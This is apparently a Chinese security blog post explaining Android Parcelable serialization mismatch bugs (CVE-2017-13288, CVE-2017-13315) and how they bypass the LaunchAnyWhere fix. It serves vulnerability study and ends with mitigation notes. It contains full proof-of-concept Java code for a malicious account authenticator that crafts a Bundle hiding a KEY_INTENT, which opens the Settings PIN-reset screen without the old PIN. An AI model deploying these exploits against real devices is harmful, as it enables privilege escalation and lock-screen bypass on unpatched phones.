今年年初曾关注到 heen 大佬在 2018 年中旬写的一篇文章:Bundle风水-Android序列化与反序列化不匹配漏洞详解,但当时并未来得及安排时间深入分析学习,结果发生了有意思的事情是,今年下半年业内又出现了一波与之相关的 Android 反序列化漏洞……本着学习的态度投入一周的时间对该类漏洞原理和利用技巧进行了分析,并编写了脚本对该类漏洞进行了自动化探测(这部分内容本文不展开),整体而言该类漏洞还是十分巧妙且经典的,借此文记录一下。
heen 大佬之所以研究这类漏洞是因为他关注 Android 安全公告(这是一个极好的寻找新的攻击面的习惯)的时候发现了一批如下表所示的系统框架层的高危提权漏洞。
CVE | Parcelable对象 | 公布时间 |
---|---|---|
CVE-2017-0806 | GateKeeperResponse | 2017.10 |
CVE-2017-13286 | OutputConfiguration | 2018.04 |
CVE-2017-13287 | VerifyCredentialResponse | 2018.04 |
CVE-2017-13288 | PeriodicAdvertisingReport | 2018.04 |
CVE-2017-13289 | ParcelableRttResults | 2018.04 |
CVE-2017-13311 | SparseMappingTable | 2018.05 |
CVE-2017-13315 | DcParamObject | 2018.05 |
CVE-2021-0970(我的补充) | GpsNavigationMessage | 2021.12 |
这类漏洞的共同特点在于框架中 Parcelable 对象的写入(序列化)和读出(反序列化)不一致,比如将一个成员变量写入时为 long,而读入时为 int。这种错误显而易见,但是能够造成何种危害,如何证明是一个安全漏洞,却难以从补丁直观地得出结论。但是 heen 通过自己几天的思考与实践,给出了可行的漏洞利用手段。
关注 Android 安全公告后如何通过安全补丁的修改代码,提取出漏洞的根因、分析存在的攻击面、完成漏洞复现与攻击利用,并最终转换为自身能力、挖掘出新的衍生漏洞,这是一项充满挑战且极具价值的工作。
Android 中是采用 Parcelable接 口来实现对一个类的对象的序列化的,而被序列化的对象,就能够通过 Intent 或者 Binder 进行传输。一般而言,实现 Parcelable 的类都是通过 writeToParcel 进行序列化,通过 readFromParcel 进行反序列化。简单示例如下所示:
public class MyParcelable implements Parcelable {private int mData;public int describeContents() {return 0;}public void writeToParcel(Parcel out, int flags) {out.writeInt(mData);}public void readFromParcel(Parcel reply) {mData = in.readInt();}public static final Parcelable.Creator CREATOR= new Parcelable.Creator() {public MyParcelable createFromParcel(Parcel in) {return new MyParcelable(in);}public MyParcelable[] newArray(int size) {return new MyParcelable[size];}};private MyParcelable(Parcel in) {mData = in.readInt();}}
其中,关键的 writeToParcel 和 readFromParcel 方法,分别调用 Parcel 类中的一系列 write 方法和 read 方法实现序列化和反序列化。
可序列化的 Parcelable 对象一般不单独进行序列化传输,需要通过 Bundle 对象携带。 Bundle 的内部实现实际是 Hashmap,以 Key-Value 键值对的形式存储数据。例如, Android 中进程间通信频繁使用的 Intent 对象中可携带一个 Bundle 对象,利用 putExtra(key, value) 方法,可以往 Intent 的 Bundle 对象中添加键值对 (Key Value)。Key 为 String 类型,而 Value 则可以为各种数据类型,包括 int、Boolean、String 和 Parcelable 对象等等,Parcel 类中维护着这些类型信息。
下图是序列化后的数据在 Bundle中 的简单示意图(注意对于 ByteArray 类型的 Value 还需要增加 value 长度的字段):
另外,/frameworks/base/core/java/android/os/Parcel.java
中维护着各种数据类型在 Bundle 中的值分别是什么,下面是部分信息:
private static final int VAL_NULL = -1;private static final int VAL_STRING = 0;private static final int VAL_INTEGER = 1;private static final int VAL_MAP = 2;private static final int VAL_BUNDLE = 3;private static final int VAL_PARCELABLE = 4;private static final int VAL_SHORT = 5;private static final int VAL_LONG = 6;private static final int VAL_FLOAT = 7;
当所有数据都被序列化装载进 Bundle 后,接下来则需要依次在 Bundle 头部写入携带所有数据的长度、Bundle 魔数 (0x4C444E42)
和键值对的数量。下面是完整的 Bundle 简单结构图:
简单举个例子,我要传递一个 Bundle 对象携带 2 个键值对,分别是:
“CSDN":"Tr0e"
的字符串键值对 ;那么可以这么写:
Bundle myBundle = new Bundle();
Parcel bndlData = Parcel.obtain();
Parcel pcelData = Parcel.obtain();
//Bundle对象将携带的键值对数量为2
pcelData.writeInt(2); //第一个键值对的key值,直接写入字符串,省略了key的长度
pcelData.writeString("test");
pcelData.writeInt(4); //value类型VAL_PACELABLE,4代表为对象
pcelData.writeString("com.Tr0e.MyParcelable"); //name of Class Loader
pcelData.writeInt(1); //mData//写入第二个键值对,key为CSDN,直接写入字符串,省略了key的长度
pcelData.writeString("CSDN");
pcelData.writeInt(0); //VAL_STRING代表value类型为字符串
pcelData.writeString("Tr0e"); //value值int length = pcelData.dataSize();
bndlData.writeInt(length); //Bundle对象携带的数据总长度
bndlData.writeInt(0x4c444E42); //Bundle魔数
bndlData.appendFrom(pcelData, 0, length);
bndlData.setDataPosition(0);
myBundle.readFromParcel(bndlData);
Log.d(TAG, myBundle.toString());
而反序列化过程则完全是一个对称的逆过程,将依次读入 Bundle 携带所有数据的长度、Bundle 魔数(0x4C444E42)、键值对。读键值对的时候,调用对象的 readFromParcel 方法,从 Bundle 读取相应长度的数据,重新构建这个对象。
通过下面的代码,我们还可以把序列化后的 Bundle 对象存为文件进行研究。
Bundle bundle = new Bundle();
//写入一个序列化对象的键值对
bundle.putParcelable(AccountManager.KEY_INTENT, makeEvilIntent());
//写入value为一个字节数组的的键值对
byte[] bs = {'a', 'a','a', 'a'};
bundle.putByteArray("AAA", bs);
//Bundled打包成Parcel
Parcel testData = Parcel.obtain();
bundle.writeToParcel(testData, 0);
byte[] raw = testData.marshall();
try {FileOutputStream fos = new FileOutputStream("/sdcard/obj.pcl");fos.write(raw);fos.close();
} catch (Exception e){e.printStackTrace();
}
查看序列化后的 Bundle 数据如下图:
了解了 Bundle 的内部结构后,就可以来进一步了解本文所要讲述的反序列化漏洞的细节及利用方式了。需要进一步介绍的是,下文要讲的漏洞利用都是基于 Google 曾经修复了一个组件安全的漏洞 LaunchAnyWhere(Google Bug 7699048),借助本文所述的反序列化漏洞去绕过该历史漏洞的补丁。
我在前面一篇博文已经详细介绍了该漏洞的原理和修复方案:Android LaunchAnywhere组件权限绕过漏洞,这个漏洞属于 Intend Based 提取漏洞,攻击者利用这个漏洞,可以突破了应用间的权限隔离,达到调用任意私有 Activity(exported=false)的目的。
漏洞原理大致如下图所示:
我们可以将这个流程转化为一个比较简单的事实:
这种设计的本意是,AccountManager Service 帮助 AppA 查找到 AppB 账号登陆页面,并呼起这个登陆页面。而问题在于,AppB 可以任意指定这个 intent 所指向的组件,AppA 将在不知情的情况下由AccountManagerResponse 调用起了一个 Activity。如果 AppA 是一个 system 权限应用(比如Settings),那么 AppA 能够调用起任意 AppB 指定的未导出 Activity。例如,intent 中指定 Settings 中的com.android.settings.password.ChooseLockPassword
为目标 Activity,则可以在不需要原锁屏密码的情况下重设锁屏密码。
Google 对于这个漏洞的修补是在 AccountManagerService 中对 AppB 指定的 intent 进行检查,确保 intent 中目标 Activity 所属包的签名与调用 AppB 一致。
protected boolean checkKeyIntent(int authUid, Intent intent) {intent.setFlags(intent.getFlags() & ~(Intent.FLAG_GRANT_READ_URI_PERMISSION| Intent.FLAG_GRANT_WRITE_URI_PERMISSION| Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION| Intent.FLAG_GRANT_PREFIX_URI_PERMISSION));long bid = Binder.clearCallingIdentity();try {PackageManager pm = mContext.getPackageManager();ResolveInfo resolveInfo = pm.resolveActivityAsUser(intent, 0, mAccounts.userId);if (resolveInfo == null) {return false;}ActivityInfo targetActivityInfo = resolveInfo.activityInfo;int targetUid = targetActivityInfo.applicationInfo.uid;PackageManagerInternal pmi = LocalServices.getService(PackageManagerInternal.class);if (!isExportedSystemActivity(targetActivityInfo)&& !pmi.hasSignatureCapability(targetUid, authUid,PackageParser.SigningDetails.CertCapabilities.AUTH)) {String pkgName = targetActivityInfo.packageName;String activityName = targetActivityInfo.name;String tmpl = "KEY_INTENT resolved to an Activity (%s) in a package (%s) that "+ "does not share a signature with the supplying authenticator (%s).";Log.e(TAG, String.format(tmpl, activityName, pkgName, mAccountType));return false;}return true;} finally {Binder.restoreCallingIdentity(bid);}
}
上次过程涉及到两次跨进程的序列化数据传输:
次序 | 过程描述 |
---|---|
第1次序列化 | 普通 AppB 将 Bundle 序列化后通过 Binder 传递给 system_server |
第1次反序列化 | 然后 system_server 通过 Bundle 的一系列 getXXX(如 getBoolean、getParcelable) 函数触发反序列化,获得 KEY_INTENT 这个键的值(一个 intent 对象),进行安全检查 |
第2次序列化 | 若上述检查通过,system_server 调用 writeBundle 进行第二次序列化 |
第2次反序列化 | 最后 Settings 对 system_server 传递过来的数据进行反序列化后重新获得{KEY_INTENT:intent} ,调用 startActivity |
【利用思路】如果第二次序列化和反序列化过程不匹配(牢记该重大前提),那么就有可能在 system_server 检查时 Bundle 中恶意的 {KEY_INTENT:intent}
不出现,而在 Settings 中出现,那么就完美地绕过了 checkKeyIntent 函数的签名检查,重新实现 LanchAnyWhere 的提权攻击!下面我们就结合两个 CVE 历史漏洞的具体案例来说明其中的玄机。
CVE-2017-13288 漏洞出现在 PeriodicAdvertisingReport 类中,对比 writeToParcel 和 readFromParcel 函数:
// /frameworks/base/core/java/android/bluetooth/le/PeriodicAdvertisingReport.java@Override
public void writeToParcel(Parcel dest, int flags) {dest.writeInt(syncHandle);dest.writeLong(txPower); // longdest.writeInt(rssi);dest.writeInt(dataStatus);if (data != null) {dest.writeInt(1); // flagdest.writeByteArray(data.getBytes());} else {dest.writeInt(0);}
}private void readFromParcel(Parcel in) {syncHandle = in.readInt();txPower = in.readInt(); // intrssi = in.readInt();dataStatus = in.readInt();if (in.readInt() == 1) { // flagdata = ScanRecord.parseFromBytes(in.createByteArray());}
}
在对 txPower 这个 int 类型成员变量进行操作时,写入为 long,读出却为 int,因此经历一次不匹配的序列化和反序列化后 txPower 之后的成员变量都会错位 4 字节。
那么如何借此错位来绕过 checkKeyIntent 检查并实现 LaunchAnyWhere 提权攻击呢?请看下图:
【攻击原理】
下面来分析下整个 POC 程序示意图的构造原理:
KEY_INTENT
作为第一个键值对的 value,而不是一个单独的键值对,因此可以逃避 checkKeyIntent 检查。KEY_INTENT
的 4 字节 length(ByteArray 4字节对齐)当做 data。至此,第一个键值对反序列化完毕。最后,原本第一次序列化过程中位于 ByteArray 数组中的恶意 KEY_INTENT 经过两轮序列化与反序列化后,成功作为一个新的独立键值对堂而皇之地出现了!最终的结果就是取得 Settings 应用的 system 权限发送任意 intent,实现启动任意 Activity 的能力。
【注意】由于 system_server 会进行恶意 Intent 的检查,所以第一次反序列化后我们传递的 Bundle 数据不能被解析出恶意 Intent 的键值对(checkKeyIntent 函数进行签名检查时会不通过)!关键是通过第二次序列化与反序列化时发生错位、进而在 Settings 中暴露出恶意 Intent。
下面来编写具体的 POC 程序,在 Android Studio 中新建一个项目,并在 AndroidManifest.xml 中注册一个 AuthenticatorService:
...
其中 authenticator.xml 的内容如下(accountType属性可自定义):
然后实现 AuthenticatorService:
public class AuthenticatorService extends Service {public AuthenticatorService() {}@Overridepublic IBinder onBind(Intent intent) {MyAuthenticator myAuthenticator=new MyAuthenticator(this);return myAuthenticator.getIBinder();}
}
实现 MyAuthenticator,并在 addAccount() 方法中构建恶意 Bundle:
public class MyAuthenticator extends AbstractAccountAuthenticator {public static final String TAG="MyAuthenticator";private Context mContext;public MyAuthenticator(Context context) {super(context);mContext=context;}@Overridepublic Bundle editProperties(AccountAuthenticatorResponse accountAuthenticatorResponse, String s) {return null;}@Overridepublic Bundle addAccount(AccountAuthenticatorResponse accountAuthenticatorResponse, String s, String s1, String[] strings, Bundle bundle) throws NetworkErrorException {Log.v(TAG,"addAccount");Bundle evil=new Bundle();Parcel bndlData=Parcel.obtain();Parcel pcelData=Parcel.obtain();pcelData.writeInt(2); // 键值对的数量:2// 写入第一个键值对pcelData.writeString("mismatch");pcelData.writeInt(4); // VAL_PARCELABLEpcelData.writeString("android.bluetooth.le.PeriodicAdvertisingReport"); // Class LoaderpcelData.writeInt(1); // syncHandlepcelData.writeInt(1); // txPowerpcelData.writeInt(1); // rssipcelData.writeInt(1); // dataStatuspcelData.writeInt(1); // flagpcelData.writeInt(-1); // 恶意KEY_INTENT的长度,暂时写入-1int keyIntentStartPos=pcelData.dataPosition(); // KEY_INTENT的起始位置pcelData.writeString(AccountManager.KEY_INTENT);pcelData.writeInt(4); // VAL_PARCELABLEpcelData.writeString("android.content.Intent"); // Class LoaderpcelData.writeString(Intent.ACTION_RUN); // Intent ActionUri.writeToParcel(pcelData,null); // uri = nullpcelData.writeString(null); // mType = nullpcelData.writeInt(0x10000000); // FlagspcelData.writeString(null); // mPackage = nullpcelData.writeString("com.android.settings");pcelData.writeString("com.android.settings.password.ChooseLockPassword");pcelData.writeInt(0); // mSourceBounds = nullpcelData.writeInt(0); // mCategories = nullpcelData.writeInt(0); // mSelector = nullpcelData.writeInt(0); // mClipData = nullpcelData.writeInt(-2); // mContentUserHintpcelData.writeBundle(null);int keyIntentEndPos=pcelData.dataPosition(); // KEY_INTENT的终止位置int lengthOfKeyIntent=keyIntentEndPos-keyIntentStartPos; // 计算KEY_INTENT的长度pcelData.setDataPosition(keyIntentStartPos-4); // 将指针移到KEY_INTENT长度处pcelData.writeInt(lengthOfKeyIntent); // 写入KEY_INTENT的长度pcelData.setDataPosition(keyIntentEndPos);Log.d(TAG, "Length of KEY_INTENT is 0x" + Integer.toHexString(lengthOfKeyIntent)); // 0x144// 写入第二个键值对pcelData.writeString("Padding-Key");pcelData.writeInt(0); // VAL_STRINGpcelData.writeString("Padding-Value");int length = pcelData.dataSize();Log.d(TAG,"length = "+length);bndlData.writeInt(length);bndlData.writeInt(0x4c444e42); // Bundle魔数bndlData.appendFrom(pcelData,0,length);bndlData.setDataPosition(0);evil.readFromParcel(bndlData);Log.d(TAG,evil.toString());return evil;}@Overridepublic Bundle confirmCredentials(AccountAuthenticatorResponse accountAuthenticatorResponse, Account account, Bundle bundle) throws NetworkErrorException {return null;}@Overridepublic Bundle getAuthToken(AccountAuthenticatorResponse accountAuthenticatorResponse, Account account, String s, Bundle bundle) throws NetworkErrorException {return null;}@Overridepublic String getAuthTokenLabel(String s) {return null;}@Overridepublic Bundle updateCredentials(AccountAuthenticatorResponse accountAuthenticatorResponse, Account account, String s, Bundle bundle) throws NetworkErrorException {return null;}@Overridepublic Bundle hasFeatures(AccountAuthenticatorResponse accountAuthenticatorResponse, Account account, String[] strings) throws NetworkErrorException {return null;}
}
最后在 MianActivity 的中添加如下代码用于请求添加账户:
Button Button5 = findViewById(R.id.Button5);
Button5.setOnClickListener(v -> {Intent intent = new Intent();intent.setComponent(new ComponentName("com.android.settings", "com.android.settings.accounts.AddAccountSettings"));intent.setAction(Intent.ACTION_RUN);intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);String authTypes[] = {"com.example.parcel13288"};intent.putExtra("account_types", authTypes);this.startActivity(intent);
});
由于 CVE-2017-13288 的影响范围是 Android 8.0 和 8.1,所以这里通过Android Studio 创建了一台 Android 8.1 的模拟器,并将以上程序打包运行在该模拟器上。在打开 APP 以后点击 POC Button,程序自动跳转到了修改 PIN 码的界面(settings 应用具有 system 权限,可直接打开非导出的密码重置页面,跳过了原始密码的确认):
同时可以看到 POC 程序打印了如下日志:
【注意】由于高版本的 Settings 似乎取消了自动化的点击新建账户接口,上述 POC 的漏洞触发不成功的情况下,可以手动在 Settings->Users&accounts 中点击我们加入的 Authenticator,点击以后就会调用 addAccount 方法,最终能够启动 settings 中的隐藏 Activity ChooseLockPassword。
CVE-2017-13315 出现在 DcParamObject 类中,对比 writeToParcel 和 readFromParcel 函数:
// /frameworks/base/telephony/java/com/android/internal/telephony/DcParamObject.java
private int mSubId;public void writeToParcel(Parcel dest, int flags) {dest.writeLong(mSubId); // long
}private void readFromParcel(Parcel in) {mSubId = in.readInt(); // int
}
int
int 类型的成员变量 mSubId 写入时为 long,读出时为 int,没有可借用的其他成员变量,似乎在 Bundle 中布置数据更有挑战性。但受前面将恶意 KEY_INTENT 置于 ByteArray 中启发,可以采用如下方案。
【攻击原理】
下面来分析下整个 POC 程序示意图的构造原理:
可以看到该利用手段的关键核心也是:借助第二次序列化和反序列化过程不匹配(牢记该重大前提),从而使得在第一次反序列化后,system_server 检查时 Bundle 中恶意的 {KEY_INTENT:intent}
不出现,而在 Settings 中出现,那么就完美地绕过了 checkKeyIntent 函数的签名检查,重新实现 LanchAnyWhere 的提权攻击!
由于该漏洞的POC大体上与案例一中的CVE-2017-13288差不多,这里不再过多讲述。
public class MyAutherticator extends AbstractAccountAuthenticator {public static final String TAG="MyAutherticator";public MyAutherticator(Context context) {super(context);}...@Overridepublic Bundle addAccount(AccountAuthenticatorResponse accountAuthenticatorResponse, String s, String s1, String[] strings, Bundle bundle) throws NetworkErrorException {Bundle evil=new Bundle();Parcel bndlData = Parcel.obtain();Parcel pcelData = Parcel.obtain();pcelData.writeInt(3); // 键值对的数量:3// 写入第一个键值对pcelData.writeString("mismatch");pcelData.writeInt(4); // VAL_PACELABLEpcelData.writeString("com.android.internal.telephony.DcParamObject"); // Class LoaderpcelData.writeInt(1); //mSubId// 写入第二个键值对pcelData.writeInt(1);pcelData.writeInt(6);pcelData.writeInt(13); // VAL_BYTEARRAY//pcelData.writeInt(0x144); //KEY_INTENT:intent的长度pcelData.writeInt(-1); // KEY_INTENT的长度,暂时写入-1,后续再进行修改int keyIntentStartPos = pcelData.dataPosition(); // KEY_INTENT的起始位置// 恶意Intent隐藏在byte数组中pcelData.writeString(AccountManager.KEY_INTENT);pcelData.writeInt(4);pcelData.writeString("android.content.Intent");// Class LoaderpcelData.writeString(Intent.ACTION_RUN); // Intent ActionUri.writeToParcel(pcelData, null); // Uri = nullpcelData.writeString(null); // mType = nullpcelData.writeInt(0x10000000); // FlagspcelData.writeString(null); // mPackage = nullpcelData.writeString("com.android.settings");pcelData.writeString("com.android.settings.ChooseLockPassword");pcelData.writeInt(0); //mSourceBounds = nullpcelData.writeInt(0); // mCategories = nullpcelData.writeInt(0); // mSelector = nullpcelData.writeInt(0); // mClipData = nullpcelData.writeInt(-2); // mContentUserHintpcelData.writeBundle(null);int keyIntentEndPos = pcelData.dataPosition(); // KEY_INTENT的终止位置int lengthOfKeyIntent = keyIntentEndPos - keyIntentStartPos; // 计算KEY_INTENT的长度pcelData.setDataPosition(keyIntentStartPos - 4); // 将指针移到KEY_INTENT长度处pcelData.writeInt(lengthOfKeyIntent); // 写入KEY_INTENT的长度pcelData.setDataPosition(keyIntentEndPos);Log.d(TAG, "Length of KEY_INTENT is 0x" + Integer.toHexString(lengthOfKeyIntent));// 写入第三个键值对pcelData.writeString("Padding-Key");pcelData.writeInt(0); // VAL_STRINGpcelData.writeString("Padding-Value"); //int length = pcelData.dataSize();Log.d(TAG, "length is " + Integer.toHexString(length));bndlData.writeInt(length);bndlData.writeInt(0x4c444E42);bndlData.appendFrom(pcelData, 0, length);bndlData.setDataPosition(0);evil.readFromParcel(bndlData);Log.d(TAG, evil.toString());return evil;}...
}
该漏洞影响范围为:Android 6.0-8.1,如下是我用自己的 Nexus5 实体机执行 POC 程序后成功实现绕过输入 pin 码确认,直接打开重置 pin 码的 Activity:
POC 的日志如下:
学习了两个 CVE 漏洞的漏洞利用,接下来搞个存在漏洞的 Demo 程序来实践下如何编写 POC,检验是否真的消化了上述漏洞利用技巧。
public class MyParcelable implements Parcelable {private int a;private int b;public static final Parcelable.Creator CREATOR= new Parcelable.Creator() {public MyParcelable createFromParcel(Parcel in) {return new MyParcelable(in);}public MyParcelable[] newArray(int size) {return new MyParcelable[size];}};private MyParcelable(Parcel in) {in.readInt(this.a);this.b = 0;}public void writeToParcel(Parcel out, int flags) {out.writeInt(a);out.writeInt(b);}}
很显然,上述的 MyParcelable 存在序列化与反序列化不一致的问题,序列化过程写入两个 Int 整数数据,但是反序列化过程却只读取了一个 Int 数据,并且将 b 成员变量直接赋值为 0。
如何利用上述序列化与反序列化不匹配的代码?我直接给出构造的 POC 图示。
【攻击原理】
简单分析下整个 POC 程序示意图的构造原理:
同样的,该利用手段的关键核心也是:借助第二次序列化和反序列化过程不匹配(牢记该重大前提,踩过坑!!),从而使得在第一次反序列化后,system_server 检查时 Bundle 中恶意的 {KEY_INTENT:intent}
不出现,而在 Settings 中出现,那么就完美地绕过了 checkKeyIntent 函数的签名检查,重新实现 LanchAnyWhere 的提权攻击!
public class MyAutherticator extends AbstractAccountAuthenticator {public static final String TAG="MyAutherticator";public MyAutherticator(Context context) {super(context);}...@Overridepublic Bundle addAccount(AccountAuthenticatorResponse accountAuthenticatorResponse, String s, String s1, String[] strings, Bundle bundle) throws NetworkErrorException {Bundle evil=new Bundle();Parcel bndlData = Parcel.obtain();Parcel pcelData = Parcel.obtain();pcelData.writeInt(3); // 键值对的数量:3// 写入第一个键值对pcelData.writeString("mismatch");pcelData.writeInt(4); // VAL_PACELABLEpcelData.writeString("com.Tr0e.demo.MyParcelable"); // Class LoaderpcelData.writeInt(1); //a变量// 写入第二个键值对pcelData.writeInt(1);pcelData.writeInt(6);pcelData.writeInt(13); // VAL_BYTEARRAY//pcelData.writeInt(0x144); //KEY_INTENT:intent的长度pcelData.writeInt(-1); // KEY_INTENT的长度,暂时写入-1,后续再进行修改int keyIntentStartPos = pcelData.dataPosition(); // KEY_INTENT的起始位置// 恶意Intent隐藏在byte数组中pcelData.writeString(AccountManager.KEY_INTENT);pcelData.writeInt(4);pcelData.writeString("android.content.Intent");// Class LoaderpcelData.writeString(Intent.ACTION_RUN); // Intent ActionUri.writeToParcel(pcelData, null); // Uri = nullpcelData.writeString(null); // mType = nullpcelData.writeInt(0x10000000); // FlagspcelData.writeString(null); // mPackage = nullpcelData.writeString("com.android.settings");pcelData.writeString("com.android.settings.ChooseLockPassword");pcelData.writeInt(0); //mSourceBounds = nullpcelData.writeInt(0); // mCategories = nullpcelData.writeInt(0); // mSelector = nullpcelData.writeInt(0); // mClipData = nullpcelData.writeInt(-2); // mContentUserHintpcelData.writeBundle(null);int keyIntentEndPos = pcelData.dataPosition(); // KEY_INTENT的终止位置int lengthOfKeyIntent = keyIntentEndPos - keyIntentStartPos; // 计算KEY_INTENT的长度pcelData.setDataPosition(keyIntentStartPos - 4); // 将指针移到KEY_INTENT长度处pcelData.writeInt(lengthOfKeyIntent); // 写入KEY_INTENT的长度pcelData.setDataPosition(keyIntentEndPos);Log.d(TAG, "Length of KEY_INTENT is 0x" + Integer.toHexString(lengthOfKeyIntent));// 写入第三个键值对pcelData.writeString("Padding-Key");pcelData.writeInt(0); // VAL_STRINGpcelData.writeString("Padding-Value"); //int length = pcelData.dataSize();Log.d(TAG, "length is " + Integer.toHexString(length));bndlData.writeInt(length);bndlData.writeInt(0x4c444E42);bndlData.appendFrom(pcelData, 0, length);bndlData.setDataPosition(0);evil.readFromParcel(bndlData);Log.d(TAG, evil.toString());return evil;}...
}
可以看到,Android 系统中 Framework 层那些实现了 Parcelable 的类,在 writeToParcel 和 readFromParcel 所代表的序列化和反序列化过程中,如果由于研发人员的粗心大意引发了变量读写的不一致,那么就有可能成为一个反序列化漏洞,被用于提权攻击系统!
之所以 /system/framework 路径下的 jar 包所在的类才可能被成为被攻击利用的对象,是因为这部分代码由于提供重要的框架层服务,所以默认被加载到内存中,攻击程序能在内存中读取到这些类。
实际上我编写了 Python 脚本对 Framwork 层代码进行了自动化漏洞特征扫描,并识别出一些风险类,这部分工作不展开描述。对于静态分析而言,或许 CodeQL 或 Soot 框架都是个不错的选择,但是本人暂未学习该工具,所以还是选择花了一天时间,编写自定义 Python 脚本来完成漏洞排查工作。
最后关于漏洞的防御,(据说)Google 在 Android 13 中引入了新的缓解措施,引入了 Bundle 读取 key-value 的字节数锁定的机制,即使一个 key-value 发生错位也不会造成后续 key-value 读取的错误,规避了这一类问题。
但是终究攻防是个动态过程,说不定哪一天已有的安全机制又被绕过了呢?就像 LauchAnyWhere 的漏洞补丁,在本文中不就被绕过了吗……所以研发人员还是从根源处杜绝这类编码错误,杜绝侥幸心理。
相关参考文章: